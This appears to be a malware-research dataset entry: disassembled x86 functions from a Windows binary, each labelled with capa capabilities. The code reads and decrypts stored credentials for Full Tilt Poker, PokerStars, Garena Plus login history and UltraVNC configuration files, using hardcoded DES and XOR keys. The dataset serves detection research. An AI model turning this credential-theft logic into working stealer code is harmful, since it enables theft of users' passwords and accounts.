joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4284c1
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x1c], 0x57e907ba
push esi
mov edi, edx
mov dword [ebp - 0x18], 0x980b4c57
mov dword [ebp - 0x14], 0xb0da26f2
mov dword [ebp - 0x10], 0xa4d30754
mov dword [ebp - 0xc], 0x9da83179
mov dword [ebp - 8], 0x9e46133e
call fcn.00643470
and eax, 3
pop ecx
mov ecx, 0x3e8
cmp eax, 3
jne 0x42851f
push 0x6cb00c
jmp 0x428535
cmp eax, 2
jne 0x42852b
push 0x6cb010
jmp 0x428535
cmp eax, 1
jne 0x42853f
push 0x6cb014
push ecx
push esi
call fcn.006500a8
add esp, 0xc
push esi
call fcn.00643470
lea edx, [ebp - 0x404]
mov ecx, esi
call fcn.004020b3
mov esi, eax
pop ecx
test esi, esi
je 0x42864e
push ebx
push 0x18
pop eax
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x428], 0x208
push eax
mov dword [ebp - 0x424], 0x6603
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0x434]
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x428645
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
push 0x24
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x434]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x428645
push ebx
lea eax, [ebp - 0x438]
mov dword [ebp - 0x438], 2
push eax
push 4
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x428645
lea eax, [ebp - 0x430]
mov dword [ebp - 0x430], esi
push eax
lea eax, [ebp - 0x404]
push eax
push ebx
push 1
push ebx
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x428645
mov ecx, dword [ebp - 0x430]
mov edx, 0x3e8
cmp ecx, edx
jae 0x42865c
mov byte [ebp + ecx - 0x404], bl
lea ecx, [ebp - 0x404]
push ecx
push edx
push edi
call fcn.006494f3
xor eax, eax
add esp, 0xc
inc eax
jmp 0x42864d
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret
call fcn.00612782
int3
Function at 0x429903
Capabilities:
Encode data using xor
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, edx
mov ecx, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x3f4], eax
mov dword [ebp - 0x3f8], ecx
mov byte [ecx], bl
cmp eax, 5
jae 0x42993b
xor eax, eax
jmp 0x429a10
push 0x3e8
lea eax, [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push ebx
lea eax, [ebp - 0x3fc]
mov byte [ebp - 0x3e9], bl
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x3f0]
push eax
push ebx
push ebx
lea eax, [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
movzx eax, word [ebp - 0x3f0]
jne 0x429989
mov eax, 0xff00ff
push edi
push eax
call fcn.00649328
mov edi, dword [ebp - 0x3f0]
movzx eax, byte [esi]
pop ecx
movzx ecx, byte [esi + 1]
shr edi, 0x10
shl ecx, 8
and edi, 0x1f
or ecx, eax
inc edi
add edi, ecx
call fcn.00649307
dec edi
test edi, edi
jg 0x4299ac
movzx edx, byte [esi + 3]
movzx ecx, byte [esi + 2]
shl edx, 8
or edx, ecx
cmp eax, edx
jne 0x429a0c
movzx ebx, byte [esi + 4]
cmp ebx, 0x40
jae 0x429a0c
cmp ebx, dword [ebp - 0x3f4]
ja 0x429a0c
xor edi, edi
test ebx, ebx
je 0x4299ef
call fcn.00649307
xor al, byte [esi + edi + 5]
mov byte [esi + edi], al
inc edi
cmp edi, ebx
jl 0x4299de
push esi
push 0x400
push dword [ebp - 0x3f8]
mov byte [esi + edi], 0
call fcn.006494f3
xor eax, eax
add esp, 0xc
inc eax
jmp 0x429a0f
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x429a1e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x3ff
mov byte [ebp - 0xc08], 0
push esi
lea eax, [ebp - 0xc07]
mov ebx, ecx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1008], 0
lea eax, [ebp - 0x1007]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x808], 0
lea eax, [ebp - 0x807]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x408], 0
lea eax, [ebp - 0x407]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1010]
push eax
push 0x20019
push 0
push str.SoftwareFull_Tilt_PokerUserInfo
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x429ada
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], 0x400
push eax
lea eax, [ebp - 0xc08]
push eax
lea eax, [ebp - 0x1014]
push eax
push 0
push str.Username
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x429b3d
mov edx, dword [ebp - 0x100c]
lea eax, [ebp - 0x808]
push ecx
push eax
lea ecx, [ebp - 0xc08]
call fcn.00429903
pop ecx
pop ecx
test eax, eax
jne 0x429b3f
mov byte [ebp - 0x808], al
jmp 0x429b3f
call esi
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], 0x400
push eax
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x1014]
push eax
push 0
push str.Password
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x429b9c
mov edx, dword [ebp - 0x100c]
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x1008]
call fcn.00429903
pop ecx
pop ecx
test eax, eax
jne 0x429b9e
mov byte [ebp - 0x408], al
jmp 0x429b9e
call esi
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x429aca
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x408]
push ecx
push eax
lea eax, [ebp - 0x808]
push eax
push ecx
push ecx
push 0x2d0
push 7
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x429acc
Function at 0x429bed
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
push 0x20019
xor ebx, ebx
mov dword [ebp - 4], 4
push ebx
push str.SoftwareVB_and_VBA_Program_SettingsPlugin
push SysReAllocString
mov byte [esi], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x429c24
or eax, 0xffffffff
jmp 0x429c55
lea eax, [ebp - 4]
push eax
push esi
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
test eax, eax
je 0x429c46
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x429c1f
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov byte [esi + eax], bl
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x429f56
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x3e7
lea eax, [ebp - 0x4c3]
mov byte [ebp - 0x4c4], 0
push 0
push eax
mov ebx, edx
mov esi, ecx
call fcn.006390b0
add esp, 0xc
mov dword [ebp - 0xcb8], 0x3e8
push esi
call fcn.00643470
pop ecx
push esi
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x8ac]
push esi
push eax
call fcn.00638b30
add esp, 0xc
xor edi, edi
jmp 0x429fcd
test eax, eax
je 0x429fdb
add al, 0xd
shl al, 4
add al, cl
mov byte [ebp + edi - 0x8ac], al
inc edi
movsx ecx, byte [esi + 1]
movsx eax, byte [esi]
add esi, 2
test ecx, ecx
jne 0x429fba
lea ecx, [ebp - 0x4c4]
call fcn.00429c59
test eax, eax
je 0x42a0b1
lea eax, [ebp - 0xcb8]
push eax
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0x4c4]
push eax
call fcn.00643470
pop ecx
push eax
lea edx, [ebp - 0x4c4]
mov ecx, 0x8003
call fcn.0040a733
add esp, 0xc
test eax, eax
je 0x42a0b1
push 8
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0xc8c]
push 8
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00638b30
add esp, 0xc
mov byte [ebp - 0xca7], 2
xor eax, eax
mov dword [ebp - 0xca4], 0x6601
mov word [ebp - 0xca6], ax
lea eax, [ebp - 0x74]
push 8
pop ecx
push ecx
push eax
lea eax, [ebp - 0xc9c]
mov byte [ebp - 0xca8], cl
push eax
mov dword [ebp - 0xca0], ecx
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0xcac]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x42a0c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
lea eax, [ebp - 0xcb0]
push eax
push 0
push 0
push 0x14
lea eax, [ebp - 0xca8]
push eax
push dword [ebp - 0xcac]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x42a0fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push dword [ebp - 0xcac]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x42a0b1
mov esi, dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
lea eax, [ebp - 0xdc]
push 0
push eax
push 1
push dword [ebp - 0xcb0]
call esi
test eax, eax
je 0x42a0e6
push 0
lea eax, [ebp - 0xcbc]
mov dword [ebp - 0xcbc], 1
push eax
push 4
push dword [ebp - 0xcb0]
call esi
test eax, eax
je 0x42a0e6
lea eax, [ebp - 0xcb4]
mov dword [ebp - 0xcb4], edi
push eax
lea eax, [ebp - 0x8ac]
push eax
push 0
push 1
push 0
push dword [ebp - 0xcb0]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x42a0e6
push 0
push dword [ebp - 0xcac]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0xcb4]
mov eax, 0x3e8
cmp ecx, eax
jae 0x42a1a3
push ecx
mov byte [ebp + ecx - 0x8ac], 0
lea ecx, [ebp - 0x8ac]
push ecx
push eax
push ebx
call fcn.00650b7d
xor eax, eax
add esp, 0x10
inc eax
jmp 0x42a0b3
call fcn.00612782
int3
Function at 0x42a4c4
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0xd0c], eax
push esi
lea eax, [ebp - 0x3f7]
mov byte [ebp - 0x3f8], 0
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7e0], 0
lea eax, [ebp - 0x7df]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.user.ini
lea edi, [ebp - 0x10]
add esp, 0xc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xd0c]
push esi
call fcn.00643470
pop ecx
test eax, eax
je 0x42a56c
lea eax, [ebp - 0x10]
push eax
push esi
push 0x6c643c
lea eax, [ebp - 0x3f8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x3f8]
push eax
push dword [ebp + 8]
mov ecx, ebx
call fcn.0042a1a9
jmp 0x42a6a5
lea eax, [ebp - 0x7e0]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x42a69d
mov esi, 0x2d0
cmp dword [ebp + 8], esi
jne 0x42a5c0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e0]
push eax
push str._sFullTilt_s
lea eax, [ebp - 0x3f8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x3f8]
push eax
push esi
jmp 0x42a560
lea eax, [ebp - 0x7e0]
mov esi, 0x400
push eax
lea eax, [ebp - 0xbc8]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xbc8]
push 0x6c7624
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xd08]
push eax
lea eax, [ebp - 0xbc8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x42a69d
mov edi, str.PokerStars
test byte [ebp - 0xd08], 0x10
je 0x42a67f
cmp byte [ebp - 0xcdc], 0x2e
je 0x42a67f
push edi
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0xcdc]
push edi
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x42a67f
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xcdc]
push eax
lea eax, [ebp - 0x7e0]
push eax
push 0x6c63f4
lea eax, [ebp - 0x3f8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x18
lea eax, [ebp - 0x3f8]
mov ecx, ebx
push eax
push dword [ebp + 8]
call fcn.0042a1a9
lea eax, [ebp - 0xd08]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42a615
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
jmp 0x42a6a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x42a6b6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13c8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x13c4], eax
push esi
push eax
mov byte [ebp - 0x804], al
lea eax, [ebp - 0x803]
push eax
mov dword [ebp - 0x13c8], ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x41c], 0
lea eax, [ebp - 0x41b]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.history.data
lea edi, [ebp - 0x18]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x42a75e
lea eax, [ebp - 0x41c]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42a751
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x42a8df
mov eax, str._sGarenaPlus_s
lea ebx, [ebp - 0x41c]
jmp 0x42a763
mov eax, 0x6c643c
lea ecx, [ebp - 0x18]
push ecx
push ebx
push eax
lea eax, [ebp - 0x804]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea edx, [ebp - 0x13c4]
xor ebx, ebx
lea ecx, [ebp - 0x804]
push ebx
push 1
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x42a8df
push 7
pop ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x13c0], ebx
mov esi, str.select__from_LoginHistory_
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00643470
pop ecx
push ebx
lea ecx, [ebp - 0x13c0]
push ecx
mov ecx, dword [ebp - 0x13c4]
lea edx, [ebp - 0x34]
push ebx
push ebx
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x42a8d2
cmp dword [ebp - 0x13c0], ebx
je 0x42a8d2
push dword [ebp - 0x13c0]
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x42a8b4
mov esi, dword [ebp - 0x13c8]
mov ebx, 0x6c5bb9
mov edi, 0x3e8
cmp eax, 0x64
jne 0x42a8b4
push 1
push dword [ebp - 0x13c0]
call fcn.004728b2
push eax
lea eax, [ebp - 0x13bc]
push edi
push eax
call fcn.006494f3
add esp, 0x14
push 4
push dword [ebp - 0x13c0]
call fcn.004728b2
push eax
lea eax, [ebp - 0xbec]
push edi
push eax
call fcn.006494f3
add esp, 0x14
lea eax, [ebp - 0xbec]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42a89f
lea eax, [ebp - 0xbec]
push eax
push str._SHA256_Hash___s
lea eax, [ebp - 0xfd4]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0xfd4]
mov ecx, esi
push 0xffffffffffffffff
push ebx
push eax
lea eax, [ebp - 0x13bc]
push eax
push ebx
push ebx
push 0x78
push 3
call fcn.0043ee6b
push dword [ebp - 0x13c0]
call fcn.0047234d
pop ecx
cmp eax, 0x65
jne 0x42a80f
push dword [ebp - 0x13c0]
call fcn.004719f9
pop ecx
mov ecx, dword [ebp - 0x13c4]
xor edx, edx
call fcn.004be7da
xor eax, eax
inc eax
jmp 0x42a8e1
mov ecx, dword [ebp - 0x13c4]
xor edx, edx
call fcn.004be7da
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x42a8f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1098
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x2c]
push 8
pop ecx
mov esi, str.05c58aa143ecd48889d9fba58069ec54
mov dword [ebp - 0x1090], ebx
rep movsd dword es:[edi], dword [esi]
mov eax, edx
mov dword [ebp - 0x1084], ebx
mov dword [ebp - 0x1094], eax
movsb byte es:[edi], byte [esi]
mov byte [eax], 0
mov edi, ebx
cmp byte [ebx], 0
mov esi, ebx
je 0x42a96d
lea eax, [ebp - 0x1078]
push eax
push str._02x
push esi
call fcn.00404468
add esp, 0xc
cmp eax, 1
jne 0x42a967
mov al, byte [ebp - 0x1078]
add esi, 2
mov byte [edi], al
inc edi
cmp byte [esi], 0
jne 0x42a93c
mov dword [ebp - 0x1084], edi
mov esi, edi
xor ecx, ecx
sub esi, ebx
mov dword [ebp - 0x1078], ecx
mov dword [ebp - 0x108c], esi
cmp esi, 4
jl 0x42a9d1
add ecx, ebx
push 4
mov al, byte [ecx + 3]
mov byte [ebp - 0x107c], al
mov al, byte [ecx + 2]
mov byte [ebp - 0x107b], al
mov al, byte [ecx + 1]
mov byte [ebp - 0x107a], al
mov al, byte [ecx]
mov byte [ebp - 0x1079], al
lea eax, [ebp - 0x107c]
push eax
push ecx
call fcn.00638b30
mov ecx, dword [ebp - 0x1078]
add esp, 0xc
add ecx, 4
mov dword [ebp - 0x1078], ecx
lea eax, [ecx + 4]
cmp eax, esi
jle 0x42a984
lea eax, [ebp - 0x2c]
push eax
call fcn.00643470
inc eax
lea edx, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1074]
call fcn.00403a1f
mov eax, esi
cdq
and edx, 7
pop ecx
add eax, edx
pop ecx
sar eax, 3
mov ecx, ebx
mov dword [ebp - 0x1078], ecx
mov dword [ebp - 0x1080], eax
test eax, eax
jle 0x42aa74
mov edx, dword [ecx]
lea ebx, [ebp - 0x30]
mov edi, dword [ecx + 4]
push 0x10
pop esi
xor edx, dword [ebx]
lea ecx, [ebp - 0x1074]
mov dword [ebp - 0x1088], edx
call fcn.0040399b
mov ecx, dword [ebp - 0x1088]
lea ebx, [ebx - 4]
mov edx, eax
xor edx, edi
mov edi, ecx
sub esi, 1
jne 0x42aa14
mov eax, dword [ebp - 0x74]
xor eax, ecx
mov ecx, dword [ebp - 0x1078]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
xor eax, edx
mov dword [ecx + 4], eax
add ecx, 8
sub dword [ebp - 0x1080], 1
mov dword [ebp - 0x1078], ecx
jne 0x42aa09
mov esi, dword [ebp - 0x108c]
mov ebx, dword [ebp - 0x1090]
mov edi, dword [ebp - 0x1084]
xor ecx, ecx
mov dword [ebp - 0x1078], ecx
cmp esi, 4
jl 0x42aace
add ecx, ebx
push 4
mov al, byte [ecx + 3]
mov byte [ebp - 0x107c], al
mov al, byte [ecx + 2]
mov byte [ebp - 0x107b], al
mov al, byte [ecx + 1]
mov byte [ebp - 0x107a], al
mov al, byte [ecx]
mov byte [ebp - 0x1079], al
lea eax, [ebp - 0x107c]
push eax
push ecx
call fcn.00638b30
mov ecx, dword [ebp - 0x1078]
add esp, 0xc
add ecx, 4
mov dword [ebp - 0x1078], ecx
lea eax, [ecx + 4]
cmp eax, esi
jle 0x42aa81
push ebx
push 0x3e8
push dword [ebp - 0x1094]
mov byte [edi], 0
call fcn.006494f3
mov ecx, dword [ebp - 8]
add esp, 0xc
xor eax, eax
xor ecx, ebp
inc eax
pop edi
pop esi
pop ebx
call fcn.006122f0
leave
ret
Function at 0x42aea3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f8
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ecx + 0x5b87c], 0
lea eax, [ebp - 0x3f4]
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x14]
push eax
mov eax, 0x20119
mov dword [ebp - 0x3f0], 0x20019
cmove eax, dword [ebp - 0x3f0]
push eax
push 0
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x42aefc
xor eax, eax
jmp 0x42af77
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x3f0], 0x3e8
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f8]
push eax
push 0
push ebx
push dword [ebp - 0x3f4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x3f4]
test eax, eax
je 0x42af3c
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42aef8
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x3f8], 3
je 0x42af5a
mov edx, edi
lea ecx, [ebp - 0x3ec]
call fcn.00404638
jmp 0x42af70
push dword [ebp - 0x3f0]
lea eax, [ebp - 0x3ec]
push eax
push edi
call fcn.00638b30
add esp, 0xc
xor eax, eax
mov byte [edi + 8], 0
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 0x14
Function at 0x42b1da
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfac
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
xor esi, esi
push edi
mov edi, 0x3e8
cmp dword [ebx + 0x5b87c], esi
je 0x42b273
lea eax, [ebp - 0xbc0]
push eax
push esi
push esi
push 0x2a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42b21f
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x42b273
lea eax, [ebp - 0xbc0]
push eax
push str._sUltraVNCultravnc.ini
lea eax, [ebp - 0x3f0]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f0]
mov ecx, ebx
push eax
call fcn.0042af88
lea eax, [ebp - 0xbc0]
push eax
push str._suvnc_bvbaUltraVNCultravnc.ini
lea eax, [ebp - 0x3f0]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f0]
mov ecx, ebx
push eax
call fcn.0042af88
mov esi, str.C:Program_Files
lea edi, [ebp - 0x7d8]
push 0x3d7
lea eax, [ebp - 0x7c7]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xfa8]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, byte [ebp - 0xfa8]
mov esi, 0x208
mov byte [ebp - 0x7d8], al
lea eax, [ebp - 0x7d8]
push eax
push str._sUltraVNCultravnc.ini
lea eax, [ebp - 0x3f0]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f0]
mov ecx, ebx
push eax
call fcn.0042af88
lea eax, [ebp - 0x7d8]
push eax
push str._suvnc_bvbaUltraVNCultravnc.ini
lea eax, [ebp - 0x3f0]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x3f0]
mov ecx, ebx
push eax
call fcn.0042af88
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x42bab4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x48], edx
push esi
mov dword [ebp - 0x3c], 0x64667364
mov dword [ebp - 0x38], 0x6f666b3b
mov dword [ebp - 0x34], 0x692e2c41
mov dword [ebp - 0x30], 0x72776579
mov dword [ebp - 0x2c], 0x4a646c6b
mov dword [ebp - 0x28], 0x5348444b
mov dword [ebp - 0x24], 0x67734255
mov dword [ebp - 0x20], 0x36616376
mov dword [ebp - 0x1c], 0x34333839
mov dword [ebp - 0x18], 0x7678636e
mov dword [ebp - 0x14], 0x33373839
mov dword [ebp - 0x10], 0x6b343532
mov dword [ebp - 0xc], 0x3867663b
mov byte [ebp - 8], 0x37
call fcn.00643470
pop ecx
cmp eax, 4
jb 0x42bbde
push esi
call fcn.00643470
pop ecx
test al, 1
jne 0x42bbde
push ebx
push edi
push 2
pop edi
push edi
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.00638b30
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x40]
push 0x6c5bd8
push eax
call fcn.00404468
mov ebx, dword [ebp - 0x4c]
mov dword [ebp - 0x44], edi
xor edi, edi
push esi
call fcn.00643470
add esp, 0x1c
cmp eax, 2
jbe 0x42bbd0
mov ecx, dword [ebp - 0x44]
lea eax, [esi + ecx]
push 2
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00638b30
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x40]
push 0x6c5bd8
push eax
call fcn.00404468
mov al, byte [ebp + ebx - 0x3c]
xor al, byte [ebp - 0x50]
mov ecx, dword [ebp - 0x48]
add dword [ebp - 0x44], 2
push esi
mov byte [ecx + edi], al
lea eax, [ebx + 1]
inc edi
cmp eax, 0x35
sbb ebx, ebx
and ebx, eax
call fcn.00643470
mov ecx, dword [ebp - 0x44]
add esp, 0x1c
cmp ecx, eax
jb 0x42bb83
mov eax, dword [ebp - 0x48]
mov byte [eax + edi], 0
xor eax, eax
pop edi
inc eax
pop ebx
jmp 0x42bbe0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret